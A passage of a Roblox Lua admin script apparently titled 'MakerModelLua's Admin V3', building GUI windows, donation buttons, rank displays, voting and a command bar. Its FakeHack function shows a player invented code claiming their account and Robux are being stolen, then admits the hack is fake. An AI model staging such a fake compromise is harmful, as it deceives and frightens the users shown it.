  3503. Element.Text = "Cannot get request"
  3504. end
  3505. end
  3506. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true Get.MouseButton1Down:connect(function() MARKET:PromptPurchase(Player, AdminID) end)
  3507. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "100 Tix" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true Dnt.MouseButton1Down:connect(function() DonateMoney("100T", 154759527, Dnt) end)
  3508. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Down:connect(function() DonateMoney("20R", Dnt) end)
  3509. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Down:connect(function() DonateMoney("100R", Dnt) end)
  3510. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" Dnt.MouseButton1Down:connect(function() DonateMoney("500R", Dnt) end)
  3511. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  3512.  
  3513. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  3514.  
  3515. if Closed then
  3516. Closed.Event:connect(function()
  3517. Open = false
  3518. end)
  3519. end
  3520. else
  3521. CloseForm:Invoke()
  3522. end
  3523. end) end)()
  3524. end
  3525.  
  3526. TaskButton.MouseButton1Click:connect(function()
  3527. if IsMoving == false then
  3528. if TaskBarShown == true then
  3529. TaskBarShown = false
  3530. IsMoving = true
  3531. TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
  3532. else
  3533. TaskBarShown = true
  3534. IsMoving = true
  3535. TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
  3536. end
  3537. end
  3538. end)
  3539.  
  3540. local function ReloadIcons()
  3541. for Num,Data in pairs(Tasks) do
  3542. Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
  3543. end
  3544. end
  3545.  
  3546. AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
  3547. local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
  3548. table.insert(Tasks, {Form, Icon})
  3549. local CanClick = true
  3550. Icon.MouseButton1Down:connect(function()
  3551. if Form.IsActive.Value == false then
  3552. Restore:Invoke()
  3553. elseif CanClick == true then
  3554. coroutine.wrap(function()
  3555. CanClick = false
  3556. local DefPos = Form.Dragger.Position
  3557. for i = 1,15 do
  3558. Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
  3559. wait(0.05)
  3560. end
  3561. Form.Dragger.Position = DefPos
  3562. CanClick = true
  3563. end)()
  3564. end
  3565. end)
  3566. ReloadIcons()
  3567.  
  3568. Closed.Event:connect(function()
  3569. for Num,Data in pairs(Tasks) do
  3570. if Data[1] == Form then
  3571. Icon:Destroy()
  3572. table.remove(Tasks, Num)
  3573. end
  3574. end
  3575. ReloadIcons()
  3576. end)
  3577. end)
  3578. end
  3579.  
  3580. function GUI:ShowDebtStats(Player, ManualText)
  3581. local Text = ManualText
  3582. if not ManualText then
  3583. Text = "CANNOT GET STATISTICS"
  3584. local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
  3585. if RawPage then
  3586. local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
  3587. local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
  3588. Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
  3589. end
  3590. end
  3591.  
  3592. local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
  3593. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
  3594.  
  3595. return Text
  3596. end
  3597.  
  3598. function GUI:ShowCommand(Player, CommandTrigger)
  3599. if not Player then return nil end
  3600. if not CommandTrigger then return nil end
  3601.  
  3602. if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
  3603.  
  3604. local CommandKey = CommandTrigger
  3605.  
  3606. if not Commands[CommandKey] then
  3607. for CommandNames,_ in pairs(Commands) do
  3608. for _,CommandName in pairs(CommandNames) do
  3609. if CommandName == CommandKey then
  3610. CommandKey = CommandNames
  3611. end
  3612. end
  3613. end
  3614. end
  3615.  
  3616. local CommandData = Commands[CommandKey]
  3617.  
  3618. local BodyText = "No valid command has been entered"
  3619. local TitleText = "Error"
  3620. local CanExe = false
  3621. if CommandData then
  3622. local PlayerRank = RANK:GetRank(Player)
  3623. if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
  3624. if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
  3625.  
  3626. TitleText = "Command: "..CommandKey[1]
  3627. BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
  3628.  
  3629.  
  3630. Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
  3631.  
  3632.  
  3633. Description: ]]..CommandData[2]..[[
  3634.  
  3635.  
  3636. Arguments: ]]..CommandData[3]..[[
  3637.  
  3638.  
  3639. Minimum rank needed: ]]..CommandData[4]..[[
  3640.  
  3641.  
  3642. Fun command: ]]..STRING:BoolString(CommandData[5])..[[
  3643.  
  3644.  
  3645. Abusable command: ]]..STRING:BoolString(CommandData.Abusable)
  3646. end
  3647.  
  3648. GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
  3649. end
  3650.  
  3651. function GUI:CreateHUD(Speaker)
  3652. if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
  3653.  
  3654. local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
  3655. if SG then SG:Destroy() end
  3656. SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
  3657.  
  3658. local function AddHUD(Player, Char)
  3659. if not Char or not Char:FindFirstChild("Head") then return nil end
  3660.  
  3661. local Dead = false
  3662. local Rank = RANK:GetRank(Player)
  3663. local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
  3664. local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1 HUD.Image = "rbxassetid://"..RankHUD[Rank]
  3665.  
  3666. Char.ChildRemoved:connect(function(Obj) if Obj.Name == "Head" then
  3667. PlayerHUD:Destroy()
  3668. Dead = true
  3669. return nil
  3670. end end)
  3671.  
  3672. Player.CharacterRemoving:connect(function()
  3673. PlayerHUD:Destroy()
  3674. Dead = true
  3675. return nil
  3676. end)
  3677.  
  3678. coroutine.wrap(function() repeat wait()
  3679. if Player and Player.Character and Player.Character:FindFirstChild("Head") and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Head") then
  3680. if (Player.Character.Head.Position - Speaker.Character.Head.Position).magnitude < 20 then
  3681. if HUD.Rotation <= 0 then
  3682. coroutine.wrap(function()
  3683. for i = 1,45,4 do
  3684. HUD.Rotation = i
  3685. wait()
  3686. end
  3687. HUD.Rotation = 45
  3688. end)()
  3689. end
  3690. elseif HUD.Rotation >= 45 then
  3691. coroutine.wrap(function()
  3692. for i = 45,1,-4 do
  3693. HUD.Rotation = i
  3694. wait()
  3695. end
  3696. HUD.Rotation = 0
  3697. end)()
  3698. end
  3699. else
  3700. PlayerHUD:Destroy()
  3701. Dead = true
  3702. end
  3703. until Dead == true end)()
  3704. end
  3705.  
  3706. local function ConnectHUD(Player)
  3707. if Player ~= Speaker then
  3708. if Player.Character then
  3709. AddHUD(Player, Player.Character)
  3710. end
  3711.  
  3712. Player.CharacterAdded:connect(function(Char)
  3713. if Speaker then
  3714. AddHUD(Player, Char)
  3715. else return nil
  3716. end
  3717. end)
  3718. end
  3719. end
  3720.  
  3721. for _,Player in pairs(Server.Players:GetPlayers()) do
  3722. ConnectHUD(Player)
  3723. end
  3724.  
  3725. Server.Players.PlayerAdded:connect(ConnectHUD)
  3726. end
  3727.  
  3728. function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
  3729. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  3730. local Stopped = false
  3731.  
  3732. local Elements = {}
  3733. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
  3734. Frame.Size = UDim2.new(1,0,1,-30)
  3735. Frame.CanvasSize = UDim2.new(0,500,0,300)
  3736.  
  3737. local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundColor3 = Color3.new(1, 1, 1) ChatBox.BackgroundTransparency = 0.5 ChatBox.Text = "Click here or press the '-' key" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
  3738. local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = Color3.new(1, 1, 1) Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
  3739.  
  3740. local function AddLine(Speaker, MessageText, MessageColor)
  3741. MessageText = STRING:Defilter(MessageText)
  3742. if MessageColor == true then MessageColor = Color3.new(1,0,0) end
  3743. if not MessageColor then MessageColor = GUI:ContrastColor() end
  3744. for Num,Bound in pairs(Elements) do
  3745. Bound.Position = Bound.Position + UDim2.new(0,0,0,-20)
  3746. if Bound.Position.Y.Offset <= -1020 then Bound:Destroy() end
  3747. end
  3748. local Bounds = Instance.new("Frame", Frame) Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 0) Bounds.BackgroundTransparency = 1
  3749. local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
  3750. local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
  3751. CORE:ExecuteResource("ReposGui", Bounds)
  3752. table.insert(Elements, Bounds)
  3753. end
  3754.  
  3755. if PreAdd then
  3756. for Num,Add in pairs(PreAdd) do
  3757. if Num >= #PreAdd - 20 then
  3758. AddLine(Add[1], Add[2], Add[3])
  3759. end
  3760. end
  3761. end
  3762.  
  3763. local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
  3764. local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
  3765. local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
  3766.  
  3767. local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
  3768.  
  3769. CORE:ExecuteResource("ChatBoxLocal", ChatBox)
  3770.  
  3771. ChatBox.MouseEnter:connect(function()
  3772. if ChatBox.Text == "Click here or press the '-' key" then
  3773. ChatBox.Text = ""
  3774. end
  3775. end)
  3776.  
  3777. local function FireSendPressed()
  3778. if ChatBox.Text ~= "" and ChatBox.Text ~= "Click here or press the '-' key" then
  3779. SendPressed:Fire(ChatBox.Text)
  3780. ChatBox.Text = "Click here or press the '-' key"
  3781. end
  3782. end
  3783.  
  3784. Closed.Event:connect(function()
  3785. if Stopped == false then
  3786. Stopped = true
  3787. if SpeakerEvents then SpeakerEvents("Leave") end
  3788. end
  3789. end)
  3790.  
  3791. Send.MouseButton1Down:connect(FireSendPressed)
  3792. EnterPressed.OnServerInvoke = FireSendPressed
  3793. AddMessage.OnInvoke = AddLine
  3794.  
  3795. if SpeakerEvents then
  3796. SpeakerEvents("Join")
  3797.  
  3798. coroutine.wrap(function()
  3799. repeat wait() until not Frame or not Frame.Parent
  3800. if Stopped == false then
  3801. Stopped = true
  3802. SpeakerEvents("Leave")
  3803. end
  3804. end)()
  3805. end
  3806.  
  3807. return SendPressed, AddMessage
  3808. end
  3809.  
  3810. function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
  3811. if tonumber(Time) then ShowFormButtons = false end
  3812. local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
  3813. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
  3814. local Clicked = nil
  3815. local Alive = true
  3816.  
  3817. local function ClosePrompt(ButtonName)
  3818. Alive = false
  3819. Close:Invoke()
  3820. Clicked = ButtonName
  3821. end
  3822.  
  3823. for Num,Select in pairs(Buttons) do
  3824. local Name = Select
  3825. local Style = "White"
  3826. local TextColor3 = Color3.new(0,0,0)
  3827. if type(Select) == "table" then
  3828. Name = Select[1]
  3829. if Select[2] then Style = Select[2] end
  3830. if Select[3] then TextColor3 = Select[3] end
  3831. elseif type(Select) == "string" then
  3832. local Case = string.lower(Select)
  3833. if Case == "ok" then
  3834. Name = "Ok"
  3835. Style = "Primary"
  3836. TextColor3 = Color3.new(1,1,1)
  3837. elseif Case == "yes" then
  3838. Name = "Yes"
  3839. Style = "Gray"
  3840. TextColor3 = Color3.new(0,1,0)
  3841. elseif Case == "no" then
  3842. Name = "No"
  3843. Style = "Red"
  3844. TextColor3 = Color3.new(1,0,0)
  3845. end
  3846. end
  3847.  
  3848. if Style == "None" then Style = "Custom" end
  3849. if Style == "Casual" then Style = "RobloxButton" end
  3850. if Style == "Red" then Style = "RobloxButtonDefault" end
  3851. if Style == "Gray" then Style = "RobloxRoundButton" end
  3852. if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
  3853. if Style == "White" then Style = "RobloxRoundDropdownButton" end
  3854.  
  3855. local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
  3856. Button.MouseButton1Down:connect(function() ClosePrompt(Name) end)
  3857. end
  3858.  
  3859. if tonumber(Time) then
  3860. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  3861. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  3862. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  3863.  
  3864. for i = Time,0,-1 do
  3865. for ii = 1,10 do
  3866. if Alive == true then
  3867. Ticker.Text = i
  3868. wait(0.1)
  3869. else
  3870. break
  3871. end
  3872. end
  3873. end
  3874. if Alive == true then
  3875. ClosePrompt()
  3876. end
  3877. end
  3878.  
  3879. repeat wait() until Alive == false
  3880. return Clicked
  3881. end
  3882.  
  3883. function GUI:Vote(Speaker, Players, Text, Time)
  3884. if not Players or not Text or #Players <= 0 then return end
  3885.  
  3886. Text = STRING:Defilter(Text)
  3887. local Votes = {}
  3888. local Tick = 0
  3889.  
  3890. for _,Player in pairs(Players) do
  3891. local CanVote = true
  3892. if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
  3893. if CanVote == true then
  3894. coroutine.wrap(function()
  3895. local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
  3896. if Answer == nil then Answer = "Unknown" end
  3897. table.insert(Votes, Answer)
  3898. end)()
  3899. end
  3900. end
  3901. repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
  3902. wait(2)
  3903. if Speaker and Speaker:FindFirstChild("PlayerGui") then
  3904. local Total = #Players
  3905. local Yes,No,Unknown = 0,0,0
  3906. for _,Vote in pairs(Votes) do
  3907. if Vote == "Yes" then Yes = Yes + 1
  3908. elseif Vote == "No" then No = No + 1
  3909. end
  3910. end
  3911. Unknown = #Players - #Votes
  3912.  
  3913. local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
  3914. local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
  3915. local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
  3916. ]]..Yes.."/"..Total..[[
  3917. ]]..math.ceil((Yes/Total)*100).."% "
  3918. local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
  3919. ]]..No.."/"..Total..[[
  3920. ]]..math.ceil((No/Total)*100).."% "
  3921. local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
  3922. ]]..Unknown.."/"..Total..[[
  3923. ]]..math.ceil((Unknown/Total)*100).."% "
  3924. end
  3925. end
  3926.  
  3927. function GUI:LoadGui(Player, Text, InfoText)
  3928. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  3929. local Dead = false
  3930.  
  3931. local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
  3932. local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
  3933. local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
  3934. local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
  3935. if InfoText then Info.Text = InfoText end
  3936.  
  3937. local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
  3938. local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
  3939.  
  3940. CloseGui.OnInvoke = function()
  3941. Close:Invoke()
  3942. Dead = true
  3943. end
  3944. AddInfo.OnInvoke = function(AddText)
  3945. Info.Text = AddText
  3946. end
  3947.  
  3948. coroutine.wrap(function()
  3949. for i = 0,math.huge,3 do
  3950. if Dead == false and Frame then
  3951. WaitIcon.Rotation = i
  3952. wait()
  3953. else
  3954. break
  3955. end
  3956. end
  3957. end)()
  3958.  
  3959. coroutine.wrap(function()
  3960. while Dead == false and Frame do
  3961. wait(0.5)
  3962. LoadLabel.Text = Text.."."
  3963. wait(0.5)
  3964. LoadLabel.Text = Text..".."
  3965. wait(0.5)
  3966. LoadLabel.Text = Text.."..."
  3967. wait(0.5)
  3968. LoadLabel.Text = Text..".."
  3969. wait(0.5)
  3970. LoadLabel.Text = Text.."."
  3971. wait(0.5)
  3972. LoadLabel.Text = Text
  3973. end
  3974. end)()
  3975.  
  3976. wait(1)
  3977.  
  3978. return CloseGui, AddInfo
  3979. end
  3980.  
  3981. function GUI:FakeHack(Player) coroutine.wrap(function()
  3982. if not Player or not Player:FindFirstChild("PlayerGui") then return end
  3983. local FakeText = [[
  3984. >SHELL: BEGIN
  3985. >RUNCODE:
  3986. return {
  3987. local Hack = {"Account", "Tix", "Robux"};
  3988. function Start(Type, Inject, Scan)
  3989. if not Inject then Inject = "In-Game" end
  3990. return {Type, Inject, Scan}
  3991. end
  3992. for Exe,Exploit in pairs(Hack) do
  3993. local IP = Start("In-Game",Exploit,
  3994. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  3995. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  3996. )
  3997. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  3998. for i = 1,#Injection[2] do
  3999. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  4000. end
  4001. local PlayerProxy = newproxy(true)
  4002. setmetatable(PlayerProxy,Injection[3],{
  4003. __index = function(StealData, ...) local Data = unpack(...)
  4004. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  4005. end;
  4006. })
  4007. end
  4008. Log("HACKED HOST: PLAYERNAME")
  4009. }
  4010. >HACKED HOST: PLAYERNAME
  4011.  
  4012. ]]
  4013. local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
  4014. if SG then SG:Destroy() end
  4015. SG = Instance.new("ScreenGui", Player.PlayerGui)
  4016. SG.Name = "MML Hack Gui"
  4017. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  4018. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  4019. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
  4020. for i = 1,#FakeText do
  4021. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  4022. if math.random(1,5) == 1 then
  4023. wait()
  4024. end
  4025. end
  4026. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  4027. wait(3)
  4028. HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  4029. fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
  4030. X.Visible = true
  4031. end)() end
  4032.  
  4033. function GUI:CommandBar(Player)
  4034. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4035.  
  4036. local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
  4037. local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
  4038. local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
  4039. local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
  4040.  
  4041. local _,Rank = RANK:GetRank(Player)
  4042. local UsableCommands = {}
  4043. for CommandNames,Data in pairs(Commands) do
  4044. if RANK:ConvertRank(Data[4]) <= Rank then
  4045. for _,Command in pairs(CommandNames) do
  4046. table.insert(UsableCommands, {Command, Data[3]})
  4047. end
  4048. end
  4049. end
  4050.  
  4051. local function ExecuteText()
  4052. CORE:Chatted(CommandBox.Text, Player, true)
  4053. CommandBox.Text = "Enter a command here"
  4054. end
  4055.  
  4056. local function AddSuggestion(Text)
  4057. if Text == nil then Text = Settings.Prefix end
  4058. local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
  4059. Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
  4060. Suggestion.MouseButton1Down:connect(function()
  4061. if Text == Settings.Prefix then
  4062. CommandBox.Text = Settings.Prefix
  4063. else
  4064. CommandBox.Text = Settings.Prefix..Text
  4065. end
  4066. CORE:ExecuteResource("Focus", CommandBox)
  4067. end)
  4068. end
  4069.  
